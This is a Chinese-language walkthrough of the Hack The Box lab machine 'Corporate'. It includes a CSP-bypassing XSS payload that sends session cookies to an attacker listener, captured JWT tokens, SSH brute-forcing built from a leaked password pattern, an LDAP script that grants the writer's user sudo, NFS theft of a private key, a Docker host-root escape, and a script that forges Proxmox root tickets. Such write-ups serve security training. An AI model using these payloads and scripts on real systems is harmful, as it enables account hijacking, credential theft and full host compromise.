基本信息
端口扫描 只有一个80:
1 2 3 4 5 6 7 8 9 10 11 12 $ nmap -sC -sV 10.10.11.246 Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-19 09:41 CST Nmap scan report for 10.10.11.246 Host is up (0.22s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http OpenResty web app server 1.21.4.3 |_http-title: Did not follow redirect to http://corporate.htb |_http-server-header: openresty/1.21.4.3 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 233.45 seconds
80 需要加hosts:
1 10.10.11.246 corporate.htb
一个公司官网:
子域名扫描 扫描可以发现几个子域名,都同样加hosts:
1 2 3 4 5 6 7 8 9 10 ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://corporate.htb/" -H 'Host: FUZZ.corporate.htb' -fs 175 [Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 221ms] * FUZZ: support [Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 212ms] * FUZZ: git [Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 313ms] * FUZZ: sso [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 240ms] * FUZZ: people
support 在线support:
git git是403(后面也完全没用到):
(预期路径会用到)
sso 单点登录系统,需要账号密码:
prople people需要从SSO那里登录访问:
support 唯一有交互的的地方就是support这里,这种场景大概率XSS,但有CSP:
只能利用他本身的JS
XSS 直接任意不存在的路径,会发现直接显示在页面响应中:
另外可以发现我们修改analytics的v参数也能控制响应的js内容:
所以,我们可以直接利用这些点来构造XSS利用,例如这个payload:
1 <meta http-equiv="refresh" content="0;url=http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.2:7777/${document.cookie}`'</script>">
发给suooprt后,打到一个cookie:
后面需要至少两个不同用户的cookie,这里多执行几次XSS:
1 2 3 4 # Nora.Brekke@corporate.htb ::ffff:10.10.11.246 - - [25/Dec/2023 12:44:52] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NCwibmFtZSI6Ik5vcmEiLCJzdXJuYW1lIjoiQnJla2tlIiwiZW1haWwiOiJOb3JhLkJyZWtrZUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzAzNDc5NDkwLCJleHAiOjE3MDM1NjU4OTB9.Cltxrowt5YXdXlpI_QuojZQn5c4T8tccsqnXYwlkYKA HTTP/1.1" 404 - # Julio.Daniel@corporate.htb ::ffff:10.10.11.246 - - [25/Dec/2023 12:47:14] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDM0Nzk2MjksImV4cCI6MTcwMzU2NjAyOX0.JBbnQR3d17XewbIExfAS09rtcn2OG3c2yytEnLx5M44 HTTP/1.1" 404 -
people 直接burp加条规则自动添加这个cookie,现在可以访问people:
chat chat里可以得到很多人名,并且详细信息里有邮箱和生日(后面会用到这个):
遍历userid得到所有用户信息
sharing sharing中可以发现另一个ovpn(模拟访问企业内网),和一个docx,docx就是一份项目建议书(docx都没什么用,只需要后面那一个pdf):
另外还有个share功能是分享文件给其他人,需要邮箱地址,这个就是前面chat里那些随便选一个,任意fileId都能够分享成功,但我们并没有对方用户:
所以前面的XSS那里需要获得两个用户的cookie
然后用第一个用户分享文件给第二个用户(小坑,邮箱地址需要小写,这个也可以从前面chat那里看到的信息知道),直接爆破fileId批量分享:
然后切换到第二个用户,查看sharing,得到pdf文件:
pdf文件得到密码策略:
1 Your default password has been set to “CorporateStarterDDMMYYYY” –
内网探测 连接得到的ovpn后现在是10.8.0.2,并且根据日志可以知道添加了两个网段的路由,10.8.0.0和10.9.0.0,探测这两个网段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ./fscan_darwin -h 10.8.0.0/24 (icmp) Target 10.8.0.1 is alive (icmp) Target 10.8.0.2 is alive 10.8.0.1:80 open 10.8.0.1:3128 open 10.8.0.1:22 open 10.8.0.1:8006 open ./fscan_darwin -h 10.9.0.0/24 (icmp) Target 10.9.0.1 is alive (icmp) Target 10.9.0.4 is alive 10.9.0.1:3128 open 10.9.0.1:22 open 10.9.0.4:22 open 10.9.0.1:80 open 10.9.0.1:8006 open Nmap scan report for 10.9.0.1 Host is up (0.34s latency). Not shown: 994 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 389/tcp open ldap 636/tcp open ldapssl 2049/tcp open nfs 3128/tcp open squid-http Nmap scan report for 10.8.0.1 Host is up (0.35s latency). Not shown: 994 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 389/tcp open ldap 636/tcp open ldapssl 2049/tcp open nfs 3128/tcp open squid-htt
ssh brute 然后根据用户名,生日,和密码策略,批量爆破,得到4个有效的:
1 2 3 4 nya.little@10.9.0.4 6/21/1965 CorporateStarter21061965 laurie.casper@10.9.0.4 11/18/1959 CorporateStarter18111959 elwin.jones@10.9.0.4 4/4/1987 CorporateStarter04041987 brody.wiza@10.9.0.4 7/14/1992 CorporateStarter14071992
users 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 abbigail.halvorson 9/17/1965 abigayle.kessler 10/21/1982 adrianna.stehr 6/8/1997 ally.effertz 8/2/1996 america.kirlin 12/29/1957 amie.torphy 3/26/1953 anastasia.nader 4/2/1957 annamarie.flatley 7/13/1994 antwan.bernhard 5/1/2002 arch.ryan 12/29/1960 august.gottlieb 9/14/1992 beth.feest 10/13/1996 bethel.hessel 12/29/1984 brody.wiza 7/14/1992 callie.goldner 5/14/1967 candido.hackett 2/2/1987 candido.mcdermott 3/30/1973 cathryn.weissnat 12/8/2002 cecelia.west 4/24/1986 christian.spencer 11/26/1966 dangelo.koch 11/23/1986 dayne.ruecker 5/5/1965 dessie.wolf 3/7/1999 dylan.schumm 2/26/1967 elwin.jones 4/4/1987 elwin.mills 11/14/1957 erna.lindgren 11/4/1951 esperanza.kihn 4/23/1956 estelle.padberg 10/24/1989 estrella.wisoky 2/4/1975 garland.denesik 1/12/1992 gayle.graham 10/20/1990 gideon.daugherty 2/19/1969 halle.keeling 2/22/1982 harley.ratke 5/24/1978 hector.king 10/30/1987 hermina.leuschke 7/15/1986 jacey.bernhard 5/10/1990 jammie.corkery 4/9/1997 josephine.hermann 5/20/1970 joy.gorczany 1/23/1992 julio.daniel 1/23/1987 justyn.beahan 6/19/1981 kacey.krajcik 1/25/1954 kasey.walsh 8/7/1999 katelin.keeling 4/25/1989 katelyn.swift 7/26/1954 kian.rodriguez 6/8/1957 larissa.wilkinson 5/10/1979 laurie.casper 11/18/1959 leanne.runolfsdottir 12/1/1963 lila.mcglynn 10/10/1982 mabel.koepp 2/23/1995 marcella.kihn 10/9/1959 margarette.baumbach 3/23/1999 marge.frami 6/10/2002 michale.jakubowski 7/25/1989 mohammed.feeney 11/4/1974 morris.lowe 6/18/1983 nora.brekke 1/18/1996 nya.little 6/21/1965 oleta.gutmann 11/11/1965 penelope.mcclure 3/8/1968 rachelle.langworth 6/19/1998 raphael.adams 1/28/2001 richie.cormier 1/23/1964 rosalee.schmitt 7/4/1990 ross.leffler 4/11/1963 sadie.greenfelder 1/21/1964 scarlett.herzog 6/22/1995 skye.will 10/16/1965 stephen.schamberger 3/27/1979 stevie.rosenbaum 10/20/1987 tanner.kuvalis 1/19/1969 uriel.hahn 12/25/1992 veda.kemmer 11/14/1980 ward.pfannerstill 5/4/1971 zaria.kozey 4/12/1970
user flag 4个用户都能得到user flag,但只有elwin.jones是it,其他三个都是consultant:
1 elwin.jones@10.9.0.4 4/4/1987 CorporateStarter04041987
sysadmin 非预期 (非预期方式)
这几个用户都是在/home/guest下,/home下还有个sysadmin,所以下一步看这部分
首先,因为elwin.jones是it,并且前面探测也可以看到ldap,那就可以尝试修改ldap属性,把自己加到sudoers中:
1 2 3 4 5 elwin.jones@corporate-workstation-04:~$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 corporate-workstation-04 10.9.0.1 ldap.corporate.htb corporate.htb
添加hosts后修改ldap:
1 2 3 10.9.0.1 ldap.corporate.htb python3 ldap.py
(等几分钟重新登录,现在我们有sudo)
1 2 elwin.jones@corporate-workstation-04:~$ id uid=5021(elwin.jones) gid=27(sudo) groups=27(sudo),503(it)
nfs 然后可以从10.9.0.4的root挂载10.8.0.1的nfs,(showmount可能会卡住,但可以尝试直接挂载根目录):
1 2 3 4 5 6 7 8 mkdir /tmp/miao sudo mount.nfs 10.8.0.1:/ /tmp/miao/ -r -o nolock ls /tmp/miao /tmp/miao/home/guests root@corporate-workstation-04:/tmp/miao/home/guests# ls | xargs id uid=5015(amie.torphy) gid=5015(amie.torphy) groups=5015(amie.torphy),503(it),500(sysadmin) uid=5007(stevie.rosenbaum) gid=5007(stevie.rosenbaum) groups=5007(stevie.rosenbaum),503(it),500(sysadmin)
其中同样是很多用户,但amie和stevie是sysadmin:
1 2 3 4 5 6 root@corporate-workstation-04:/tmp/miao/home/guests# id amie.torphy uid=5015(amie.torphy) gid=5015(amie.torphy) groups=5015(amie.torphy),503(it),500(sysadmin) # 需要对应用户才能查看目录下文件 root@corporate-workstation-04:/tmp/miao/home/guests# su amie.torphy # 私钥 amie.torphy@corporate-workstation-04:/tmp/miao/home/guests/amie.torphy/.ssh$ cat id_rsa
sysadmin 然后使用amie的私钥,可以登录10.8.0.1,用户名根据10.9.0.4中信息是sysadmin,现在终于是宿主机了
1 ssh -i amie_id_rsa sysadmin@10.8.0.1
ldap.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import ldap3server = ldap3.Server("ldaps://ldap.corporate.htb" , port=636 , use_ssl=True ) connection = ldap3.Connection( server, "uid=elwin.jones,ou=Users,dc=corporate,dc=htb" , "CorporateStarter04041987" , auto_bind=True , ) connection.modify( "uid=elwin.jones,ou=Users,dc=corporate,dc=htb" , {"gidNumber" : [(ldap3.MODIFY_REPLACE, ["27" ])]}, )
预期方式 得到user之后,预期路径大概这样:
基础枚举发现/var/run/docker.sock 需要engineer组
以及发现autofs自动挂载每个用户的nfs
elwin.jones有一个活跃的 Firefox 配置文件
发现Bitwarden密码管里扩展
places.sqlite
文件保存浏览器历史记录,它位于配置文件文件夹中
moz_places
有浏览器历史记录
最后,开始使用 Bitwarden,然后在 Google 上搜索“对于 Bitwarden 密码来说 4 位数字就足够了”
Bitwarden PINs can be brute-forced - ambiso’s bloghttps://ambiso.github.io/bitwarden-pin/
然后是对数据进行一些格式处理,破解出pin码
然后自己使用的到的配置文件启动firefox,使用Bitwarden解密数据
查看vault的到git的用户名、密码、TOTP 和 git.corporate.htb
的 UR
通过vpn访问git 10.9.0.1
同步时间,使用TOTP登录git
ourpeople中的到JWT secret
然后给engineer组中用户生成JWT,访问web
生成的JWT把requireCurrentPassword设置为false,修改密码不需要知道原密码
修改后的密码可以ssh登录10.9.0.4,得到engineer
engineer可以和docker交互
自己上传个docker镜像,加载
然后docker run --rm -it -v /:/host alpine /bin/sh
得到10.9.0.4的root
然后看到sysadmin
中有两个用户
切换到stevie.rosenbaum,看到config显示他们可以以 sysadmin 用户身份通过 SSH 访问 corporate.htb
ssh 10.9.0.1,/var/backups,后面就是proxmox部分了
HTB: Corporate | 0xdf hacks stuffhttps://0xdf.gitlab.io/2024/07/13/htb-corporate.html
proxmox 然后常规备份文件:
1 2 3 /var/backups/pve-host-2023_04_15-16_09_46.tar.gz scp -i amie_id_rsa sysadmin@10.8.0.1:/var/backups/pve-host-2023_04_15-16_09_46.tar.gz .
其中得到一个authkey
1 etc/pve/priv/authkey.key
根据现有信息,也很容易搜到这个:
只是里面是PMG。自己简单改下就行了
1 python3 pve.py -k ./authkey.key -t https://10.8.0.1:8006/ -g root@pam
然后使用生成的cookie,可以登录8006的pve web面板:
(遇到的坑:burp自带的chromium不行,换firefox就正常)
pve.py 队友根据starlabs的代码改好的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import argparseimport requestsimport loggingimport jsonimport socketimport sslimport urllib.parseimport reimport timeimport subprocessimport base64import tarfileimport ioimport tempfileimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) PROXIES = {'https' : '127.0.0.1:8080' } logging.basicConfig(format="%(asctime)s - %(message)s" , level=logging.INFO) def generate_ticket (authkey_bytes, username="root@pam" , time_offset=-30 ) : timestamp = hex(int(time.time()) + time_offset)[2 :].upper() plaintext = f"PVE:{username} :{timestamp} " authkey_path = tempfile.NamedTemporaryFile(delete=False ) logging.info(f"writing authkey to {authkey_path.name} " ) authkey_path.write(authkey_bytes) authkey_path.close() txt_path = tempfile.NamedTemporaryFile(delete=False ) logging.info(f"writing plaintext to {txt_path.name} " ) txt_path.write(plaintext.encode("utf-8" )) txt_path.close() logging.info(f"calling openssl to sign" ) sig = subprocess.check_output( [ "openssl" , "dgst" , "-sha1" , "-sign" , authkey_path.name, "-out" , "-" , txt_path.name, ] ) sig = base64.b64encode(sig).decode("latin-1" ) ret = f"{plaintext} ::{sig} " logging.info(f"generated ticket for {username} : {ret} " ) logging.info(f"Login with cookie:\nPVEAuthCookie={ret} " ) return ret def _parse_args () : parser = argparse.ArgumentParser() parser.add_argument("-k" , metavar="key" , required=True , help="The private key file" ) parser.add_argument( "-g" , metavar="generate_for" , default="root@pam" , help="Default: root@pam" ) parser.add_argument( "-t" , metavar="target_url" , help="Please keep the trailing slash, example: https://10.8.0.1:8006/" , required=True , ) return parser.parse_args() if __name__ == "__main__" : arg = _parse_args() authkey_bytes = open(arg.k, "rb" ).read() new_ticket = generate_ticket(authkey_bytes, username=arg.g) logging.info("veryfing ticket" ) req = requests.get( arg.t, headers={"Cookie" : f"PVEAuthCookie={new_ticket} " }, proxies=PROXIES, verify=False , ) print(req.text) res = req.content.decode("utf-8" ) verify_re = re.compile("UserName: '(.*?)',\n\s+CSRFPreventionToken:" ) verify_result = verify_re.findall(res) logging.info(f"current user: {verify_result[0 ]} " ) logging.info(f"Cookie: PVEAuthCookie={urllib.parse.quote_plus(new_ticket)} " )
root flag 然后pve自带的shell,得到root
(0xdf是修改了root密码后ssh登录)
shadow 每次打开shell得到的root hash都是不同的
1 sysadmin:$y$j9T$E2kQZ9TL6csvgTjXCvlau/$r4Y9/c5O8UQcdCVNKdPXn69PhHC35T59bpfjiUKEkoD:19462:0:99999:7:::
参考资料
Last updated: 2024-07-15 14:01:45
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会